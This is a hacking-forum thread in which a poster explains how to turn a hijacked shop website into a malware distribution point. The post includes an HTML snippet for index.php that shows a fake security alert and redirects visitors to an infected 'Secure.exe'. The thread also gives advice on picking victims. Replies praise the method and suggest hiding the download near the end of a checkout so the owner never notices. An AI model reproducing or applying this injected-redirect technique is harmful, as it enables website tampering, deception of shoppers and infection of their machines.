

Forum:[Hack Forums](#)

Thread: [\[TUT\] Spreading an infected file using a useless shelled website.](#)

Ascendon - October 27, 2013, 8:13 am

This does not follow JDB rules! this is for people who dont like to use JDB for some reason!

First of all you need to think if the website you are using is suitable.
Secondly you need to think about if the website is popular.
Then you have to think of the risks.

Note: I havent had time to make it so the php redirects to the infected file then back again. And im not very smart. ?

Once you are ready and you have picked a good spare website head over to the directories.

Spoiler [\(Click to View\)](#)

[img]http://s23.postimg.org/vsldawrpn/bandicam_2013_10_27_14_37_10_200.jpg[/img]

You will need;

- 1) encrypted server.
 - 2) A brain.
 - 3) Good Social Engineering skills.
- Thats all.

Upload your infected file into one of the sites files and name it "Secure.exe" just to make it believable!

Spoiler [\(Click to View\)](#)

[img]http://s12.postimg.org/4y6c7t9p9/bandicam_2013_10_27_14_45_31_587.jpg[/img]

Now check if the site has anything related to shops or any important places were you would not like your credentials being stolen.

(This works because people who dont know much about the interwebz will just think its priority to click it and install it :3)

If you have found a shop, Like I have, edit the index.php.

Near the top of the source insert this redirect script:

Code <html>

<title>Secure Authentication</title>

<meta http-equiv="refresh" content="0; URL=DIRECTLINKOFINFECTEDFILEONWEBSITE">

<script type='text/javascript'>alert('Please download this .exe to ensure you have maximum security. Thanks. ')</script>;

Make sure you replace the Url :P

Spoiler [\(Click to View\)](#)

[img]http://s22.postimg.org/ffepdhgq9/bandicam_2013_10_27_14_47_53_224.jpg[/img]

This redirects your to be slave to your infected file thinking its a .exe to secure their connection for the shop.

Spoiler ([Click to View](#))

[img]http://s7.postimg.org/l18i355q3/bandicam_2013_10_27_15_00_16_714.jpg[/img]

They then run it...

Spoiler ([Click to View](#))

[img]http://s12.postimg.org/3w5cgr5nh/bandicam_2013_10_27_14_48_26_415.jpg[/img]

BAM you have a slave!

autorunman22 - October 27, 2013, 8:33 pm

I think this is just a plain stewpeed method? Jk. Okay I'm gonna give a try.

Business Cat - October 27, 2013, 8:46 pm

I don't personally have anything to do with spreading or operating RATs and Botnets, however this is just really cool.

The fact that you have thought of a way to utilize the web servers you have taken over to further spread your virus is spectacular, great creativity. I would suggest you try to put the download link in a spot near the end of some process. Like near the very end of a checkout. I would assume that the web developer would never just run through a whole checkout sequence once it is developed unless a bug is reported, that way they should never see the change to their website.

-DownFall - October 27, 2013, 8:57 pm

Nice job, this will help a few members not knowing what to do after getting a few sites shelled. Even though you have to be dumb as a fish to fall for this lol...

Ascendon - July 10, 2014, 6:15 am

Bumping this thread for the people who might need it.

Talu - July 10, 2014, 7:26 am

Hey thanks for posting this, will look into it.